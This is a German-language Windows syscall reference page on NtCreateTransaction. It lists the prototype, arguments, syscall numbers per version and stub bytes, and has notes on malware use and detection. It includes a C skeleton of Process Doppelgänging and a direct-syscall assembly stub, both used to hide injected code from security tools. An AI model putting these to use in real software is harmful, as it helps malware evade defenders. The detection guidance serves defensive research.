> Windows Syscalls
ntoskrnl.exeT1055.013T1027T1106

NtCreateTransaction

Erzeugt ein neues KTM-Transaktionsobjekt (Kernel Transaction Manager), das NTFS-Operationen atomar zusammenfasst.

Prototyp

NTSTATUS NtCreateTransaction(
  PHANDLE            TransactionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes,
  LPGUID             Uow,
  HANDLE             TmHandle,
  ULONG              CreateOptions,
  ULONG              IsolationLevel,
  ULONG              IsolationFlags,
  PLARGE_INTEGER     Timeout,
  PUNICODE_STRING    Description
);

Argumente

NameTypeDirDescription
TransactionHandlePHANDLEoutNimmt ein Handle auf die neu erstellte Transaktion entgegen.
DesiredAccessACCESS_MASKinAngeforderte Zugriffsrechte, z. B. TRANSACTION_ALL_ACCESS.
ObjectAttributesPOBJECT_ATTRIBUTESinOptionale Objektattribute (Name, Root-Verzeichnis, Security Descriptor). NULL für eine unbenannte Transaktion.
UowLPGUIDinOptionale Unit-of-Work-GUID. NULL überlässt die Zuweisung dem Kernel.
TmHandleHANDLEinOptionales Handle auf einen Transaction Manager. NULL bindet die Transaktion an den Standard-TM.
CreateOptionsULONGinReserviert / TRANSACTION_DO_NOT_PROMOTE-Flag. Üblicherweise 0.
IsolationLevelULONGinFür zukünftige Verwendung reserviert; 0 übergeben.
IsolationFlagsULONGinFür zukünftige Verwendung reserviert; 0 übergeben.
TimeoutPLARGE_INTEGERinOptionaler Timeout, nach dem die Transaktion automatisch zurückgerollt wird. NULL = unbegrenzt.
DescriptionPUNICODE_STRINGinOptionale, menschenlesbare Beschreibungszeichenfolge, die mit der Transaktion gespeichert wird.

Syscall-IDs pro Windows-Version

Windows-VersionSyscall-IDBuild
Win10 15070xB8win10-1507
Win10 16070xBBwin10-1607
Win10 17030xBEwin10-1703
Win10 17090xBFwin10-1709
Win10 18030xC0win10-1803
Win10 18090xC1win10-1809
Win10 19030xC2win10-1903
Win10 19090xC2win10-1909
Win10 20040xC6win10-2004
Win10 20H20xC6win10-20h2
Win10 21H10xC6win10-21h1
Win10 21H20xC7win10-21h2
Win10 22H20xC7win10-22h2
Win11 21H20xCCwin11-21h2
Win11 22H20xCDwin11-22h2
Win11 23H20xCDwin11-23h2
Win11 24H20xCFwin11-24h2
Server 20160xBBwinserver-2016
Server 20190xC1winserver-2019
Server 20220xCBwinserver-2022
Server 20250xCFwinserver-2025

Kernel-Modul

ntoskrnl.exeNtCreateTransaction

Verwandte APIs

CreateTransactionCreateFileTransactedWNtOpenTransactionNtCommitTransactionNtRollbackTransactionNtCreateSectionNtCreateProcessEx

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 CF 00 00 00      mov eax, 0xCF      ; Win11 24H2 SSN
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

NtCreateTransaction setzt auf dem Kernel Transaction Manager (KTM) und dem Common Log File System (CLFS) auf. Eingeführt in Windows Vista zur Unterstützung von TxF (transaktionales NTFS) und TxR (transaktionale Registry), dient das zurückgegebene Handle als Kontext für `NtCreateFile` mit `FILE_OPEN_FOR_TRANSACTED_BINDING` bzw. `CreateFileTransacted` — jeder Schreibvorgang innerhalb der Transaktion bleibt für andere Handles unsichtbar, bis `NtCommitTransaction` aufgerufen wird. Microsoft hat TxF in Windows 10 offiziell als deprecated markiert, die API wird aber weiterhin vollständig ausgeliefert und unterstützt — genau das macht sie weiterhin attraktiv als Evasion-Primitive.

Häufige Malware-Nutzung

Zentraler Baustein von **Process Doppelgänging** (Tal Liberman und Eugene Kogan, enSilo / Black Hat EU 2017, MITRE T1055.013). Ablauf: (1) `NtCreateTransaction`; (2) `NtCreateFile` *innerhalb* der Transaktion mit harmlos wirkendem Namen; (3) `NtWriteFile` der bösartigen PE; (4) `NtCreateSection` aus dem transaktionalen Handle; (5) `NtRollbackTransaction` — die Datei auf der Platte wird in den ursprünglichen Zustand zurückversetzt (oft eine saubere Kopie von svchost.exe oder notepad.exe), während die Section im Speicher weiterhin die bösartigen Bytes mappt; (6) `NtCreateProcessEx` / `NtCreateThreadEx` auf die Section, um einen Prozess zu starten, dessen Backing-Image laut Win32 die zurückgerollte saubere Datei ist. Die SynAck-Ransomware nutzte das 2018 in the wild, gefolgt von Osiris/Kronos-Bankervarianten. Naher Verwandter — **Transacted Hollowing** — verwendet `NtCommitTransaction` statt eines Rollbacks.

Erkennungs­möglichkeiten

Der ETW-Provider `Microsoft-Windows-Kernel-File` liefert transaktionsbezogene Events (IDs 30/31 für create/commit/rollback) und `Microsoft-Windows-TxF` exponiert die komplette transaktionale NTFS-Oberfläche. Sysmon meldet Transaktionen nicht nativ, EDRs vergleichen jedoch zunehmend `SectionObject->ControlArea->FilePointer` mit dem On-Disk-Inhalt via `NtAreMappedFilesTheSame`, um Abweichungen zu erkennen. Ein Prozess, dessen `Image File Name` (`PEB->ProcessParameters->ImagePathName`) im Hash nicht zur On-Disk-Datei passt, ist der Gold-Standard-IOC für Doppelgänging. Hunting-Query: jeder Nicht-System-Prozess, der ein Transaction-Handle öffnet, eine PE darin schreibt und anschließend eine Section aus dieser transaktionalen Datei erstellt.

Direkte Syscall-Beispiele

cProcess Doppelgänging skeleton

// Process Doppelgänging — enSilo 2017 / T1055.013
// Requires ntdll prototypes. Error checks elided for clarity.

HANDLE hTransaction = NULL;
NTSTATUS s = NtCreateTransaction(
    &hTransaction,
    TRANSACTION_ALL_ACCESS,
    NULL,    // unnamed
    NULL, NULL, 0, 0, 0, NULL, NULL);

// Open a benign-looking file *inside* the transaction.
HANDLE hFile = CreateFileTransactedW(
    L"C:\\Windows\\Temp\\update.dat",
    GENERIC_WRITE | GENERIC_READ, 0, NULL,
    CREATE_ALWAYS, 0, NULL,
    hTransaction, NULL, NULL);

// Write malicious PE bytes into the transacted view.
DWORD written;
WriteFile(hFile, payloadBytes, payloadSize, &written, NULL);

// Create section from the transacted file — section now backs payload.
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0,
                PAGE_READONLY, SEC_IMAGE, hFile);

// Roll back: file on disk reverts; section in memory keeps payload.
NtRollbackTransaction(hTransaction, TRUE);
CloseHandle(hFile);
CloseHandle(hTransaction);

// Spawn process from the (now orphaned) section.
HANDLE hProcess;
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
                  NtCurrentProcess(), 0, hSection, NULL, NULL, FALSE);

asmx64 direct stub (Win11 24H2)

; Direct syscall stub for NtCreateTransaction (SSN 0xCF on Win11 24H2)
NtCreateTransaction PROC
    mov  r10, rcx
    mov  eax, 0CFh
    syscall
    ret
NtCreateTransaction ENDP

rustCreate transaction via ntapi crate

// Cargo: ntapi = "0.4", winapi = { version = "0.3", features = ["handleapi"] }
use ntapi::ntxcapi::NtCreateTransaction;
use winapi::shared::ntdef::HANDLE;
use std::ptr::null_mut;

unsafe fn create_tx() -> HANDLE {
    let mut h: HANDLE = null_mut();
    let status = NtCreateTransaction(
        &mut h,
        0x10000000, // TRANSACTION_ALL_ACCESS
        null_mut(), null_mut(), null_mut(),
        0, 0, 0,
        null_mut(), null_mut(),
    );
    assert!(status >= 0, "NtCreateTransaction failed: 0x{:X}", status);
    h
}

MITRE ATT&CK-Mappings

Last verified: 2026-05-20